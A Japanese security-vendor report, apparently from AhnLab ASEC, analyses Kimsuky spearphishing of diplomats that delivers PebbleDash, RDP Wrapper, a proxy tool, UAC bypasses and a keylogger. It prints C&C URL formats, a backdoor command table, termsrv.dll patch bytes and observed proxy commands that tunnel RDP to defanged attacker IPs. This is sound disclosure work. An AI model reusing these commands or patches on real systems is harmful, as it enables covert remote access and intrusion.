AhnLab SEcurity intelligence Center (ASEC) は、過去のブログ「PebbleDash と RDP Wrapper を悪用した Kimsuky グループの最新攻撃事例分析 (韓国語) 」[1] において、スピアフィッシング攻撃を利用して PebbleDash マルウェアをインストールする攻撃事例を公開した。同一の攻撃者は2026年も引き続き活動を継続しており、最近では外交関係者を装ったスピアフィッシング攻撃を行っている。このスピアフィッシング攻撃では LNK マルウェアが使用され、PebbleDash バックドアに加え、プロキシマルウェアである PrxClient、RDP Wrapper、UACMe、キーロガー (KeyLogger) など、さまざまなツールがインストールされる。攻撃の過程で生成されるデコイ文書には外交関連の内容が含まれている。

[図1] 攻撃で使用されたデコイ文書
1. 攻撃事例
1.1. 事例 – 1
最初の事例では、攻撃者が使用したとみられるデコイ文書、LNK ファイル、および PowerShell スクリプトが GitHub 上にアップロードされていた。「vvn31.zip」に含まれる LNK マルウェア「vvn. 31.pdf…………………………………………………………………………………………..lnk」を実行すると、PowerShell スクリプトを起動するコマンドが実行される。このスクリプトはドロッパーとして動作し、ダウンローダー機能を持つ JS マルウェアを「%PUBLIC%\Downloads\DefenderUpdate.js」に配置する。
「DefenderUpdate.js」はダウンローダーとして C&C サーバーへ接続し、追加ペイロードをダウンロードして実行する。
なお、この攻撃では「capture.ps1」をダウンロードして実行するコマンドも存在する。このスクリプトはローカルのファイルを読み取り、C&C サーバーへ送信する機能を持つ。攻撃者は情報収集用コマンドを実行した後、「capture.ps1」を利用して収集した情報を窃取したものと考えられる。

[図 2] ダウンローダーおよびアップローダースクリプト
1.2. 事例 – 2
2つ目の事例でも LNK ファイルが使用され、「D.21 SEOUL.lnk」「AIE NO.178 SEOUL.lnk」という名称で配布された。
LNK マルウェアを実行すると、自身を引数として Mshta を起動する。LNK 内部には HTA 形式の悪性スクリプトが含まれているため、Mshta 経由で悪意のある処理が実行される。

[図3] LNK 内部に含まれる悪性 HTA スクリプト
Mshta によって実行されるスクリプトはドロッパーとして動作し、ランチャー機能を持つ「%APPDATA%\Microsoft\Windows\Templates\Templates.js」と、そのランチャーから実行されるダウンローダー「%APPDATA%\Microsoft\Windows\Templates\Templates.ps1」を生成する。また、「Windows Templates Update」という名称のタスクとして登録する。
これらの処理が完了すると、デコイ文書が表示される。
2. 追加ペイロード
2.1. リモート制御
2.1.1. PebbleDash
その後、攻撃者は PebbleDash をインストールし、感染システムの制御を奪取した。
PebbleDash には大きく2種類存在する。
– 引数を確認して動作する初期タイプ
– 設定データをレジストリに保存するタイプ
最初のタイプは、「QCvt5676hZXbg」という引数付きで実行されるとインストール処理を開始する。同一ディレクトリに「system32」フォルダーを作成し、自身を「smss.exe」という名前でコピーした後、「mJnZzaCN2RnFG」という引数で実行する。「mJnZzaCN2RnFG」で実行された PebbleDash は C&C サーバーへ接続し、受信したコマンドに従って悪意のある動作を実行する。
攻撃に使用された PebbleDash の C&C 通信方式とサポートされるコマンドは次のとおりである。
| URL フォーマット | 機能 |
|---|---|
| page=<Random>&mode=<ConfigID>&DATA=<SessionID> | 初回登録 |
| page=1&mode=<SessionID>2 | コマンドのダウンロード |
| page=2&mode=<SessionID>&DATA=<EncData> | 結果送信 |
[表1] C&C 通信時の URL フォーマット
| コマンドコード | 機能 |
|---|---|
| 0x09 | ドライブ情報の送信 |
| 0x0A | プロセス終了 |
| 0x0B | ファイルのダウンロード |
| 0x0C | ファイルの削除 |
| 0x0D | ファイルワイプ |
| 0x0E | システム情報の送信 |
| 0x0F | プロセス情報の送信 |
| 0x10 | コマンドの実行および結果送信 |
| 0x11 | コマンドの実行および結果送信 – 2 |
| 0x12 | ファイルの移動 |
| 0x13 | ファイルのアップロード |
| 0x14 | ファイルのダウンロード |
| 0x15 | 待機 |
| 0x16 | 待機時間の変更 |
| 0x17 | 作業ディレクトリの変更 |
| 0x18 | ディレクトリの取得 |
| 0x19 | Heartbeat |
| 0x1A | ファイルリストの取得 |
| 0x1D | ファイルパッチ |
| 0x1E | ファイル属性の変更 |
| 0x1F | プロセスの実行 |
| 0x23 | 設定情報の送信 |
| 0x24 | 設定情報の変更 |
| 0x25 | 接続テスト |
| 0x26 | 自己削除および終了 |
[表2] サポートされるコマンド
2つ目のタイプも最終的には前述と実質的に同じ PebbleDash をインストールするマルウェアである。実行時には「edcVFRtgbNHY6」という引数が必要となる。内部に保存されている設定データを復号・展開してレジストリへ書き込み、インジェクターを「%SystemDirectory%\sqliom.dll」に生成する。
- 設定情報が保存されるレジストリキー : HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security / “CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C”

[図4] レジストリに保存された C&C サーバー文字列
インジェクターは LSASS プロセスへ PebbleDash をインジェクションする。PebbleDash は上記レジストリキーから C&C サーバー情報を取得して通信を開始する。通信時の URL フォーマットおよびサポートコマンドは、前述したタイプとほぼ同一である。
2.1.2. バックドアアカウント
攻撃者は PebbleDash だけでなく、RDP を利用して感染システムを制御していたとみられる。そのために RDP Wrapper をインストールし、バックドアアカウントを作成していた。
確認された事例では、「administrator」アカウントを有効化し、RDP サービスを有効にする「rdpwrap.bat」が使用されていた。また、「adminini」という別のバックドアアカウントも確認されている。

[図5] rdpwrap.bat マルウェア
| 事例 | アカウント名 | パスワード |
|---|---|---|
| 1 | Administrator | 12********@# |
| 2 | administrator | r8*********ca |
| 3 | adminini | 09******21 |
[表3] 攻撃事例で確認されたバックドアアカウント
通常 Windows デスクトップ環境では、サーバー環境とは異なり、RDP 接続時には1つのセッションしか利用できない。そのため、攻撃者がリモート接続すると、既存ユーザーは切断される。
攻撃者は RDP Patcher も併用していた。RDP Patcher は正常な「termsrv.dll」を読み込み、「C:\temp.dll」にパッチ済みファイルを生成した後、それを System32 内の「termsrv.dll」と置き換える。
これにより、感染システムではマルチセッションが利用可能となる。
- 正常な termsrv.dll の CDefPolicy::Query() 関数 : 39 81 3C 06 00 00 …
- 改ざん後の termsrv.dll の CDefPolicy::Query() 関数 : B8 00 01 00 00 89 81 38 06 00 00 90
2.2. プロキシ
2.2.1. PrxClient
攻撃者が独自に作成したとみられるプロキシツールも使用されていた。本ブログではミューテックス名をもとに「PrxClient」と分類している。

[図6] PrxClient の開始ルーチン
PrxClient は、引数として受け取った C&C サーバーとローカルポートを中継する機能を持つ。
攻撃者は感染システムへの RDP 接続を行うため、このツールを利用したと考えられる。
| 引数の順序 | 機能 |
|---|---|
| 1 | C&C Heatbeat Port |
| 2 | C&C IP |
| 3 | C&C Port |
| 4 | Local IP |
| 5 | Local Port |
| 6 | Heartbeat データ |
[表4] 引数の使用方法

[図7] PrxClient プロキシのインストールログ
実際の攻撃事例でも、次のようなコマンドが確認されている。
> C:\users\%ASD%\downloads\125.tmp 6060 153.75.233[.]17 8080 127.0.0[.]2 3389 2
> c:\users\%ASD%\downloads\rpc.exe 6060 153.75.233[.]17 8080 127.0.0[.]2 3389 1
> C:\Users\%ASD%\Documents\taskxys.exe 6060 173.214.170[.]58 8080 127.0.0[.]2 3389 04
2.3. 権限昇格ツール
UAC バイパスツールは、これまでの事例と同様に最新の攻撃でも継続して利用されている。過去との違いは、UACMe ベースで作成されたツールだけでなく、別のオープンソース PoC も利用されている点である。「SspiUacBypass」[2] は、SSPI の NTLM Datagram Context を操作することで UAC を回避する手法を採用したツールである。

[図8] UAC バイパスツール「SspiUacBypass」
2.4. その他
このほかにもさまざまなツールが使用されており、代表的なものとしてキーロガーとダウンローダーが確認された。
キーロガーはユーザーのキーボード入力を「%TEMP%\Log.<ユーザー名>.BIN」に保存し、その内容を C&C サーバーへ送信する機能を備えている。
ダウンローダーは、難読化された PowerShell コマンドを実行するだけのシンプルな機能を持つ。

[図9] 難読化された PowerShell ダウンロードコマンド
現在、この URL からのダウンロードはできない。しかし、「nwfgy.txt」の代わりに ASD ログで確認された別の攻撃事例では、「swas.txt」「sadadf.txt」という PowerShell スクリプトが使用されていた。
これらのスクリプトは、「rdpwrap_new.bat」を実行したり、System32 配下のファイルリストを収集してアップロードしたりする機能を持つ。

[図10] 攻撃で使用された PowerShell スクリプト
3. まとめ
最近の Kimsuky 攻撃グループは、外交関係者を標的としたスピアフィッシング攻撃を展開している。攻撃では文書ファイルを装ってマルウェアが配布されるため、ユーザーが通常の文書ファイルだと思って添付ファイルをダウンロード・実行してしまう可能性がある。その結果、システム内のユーザー情報が窃取される恐れがある。
ユーザーはメールの添付ファイルだけでなく、出所が不明な実行ファイルについても十分注意する必要がある。また、V3 を常に最新バージョンへ更新し、マルウェア感染を未然に防止できるようにしておくことが重要である。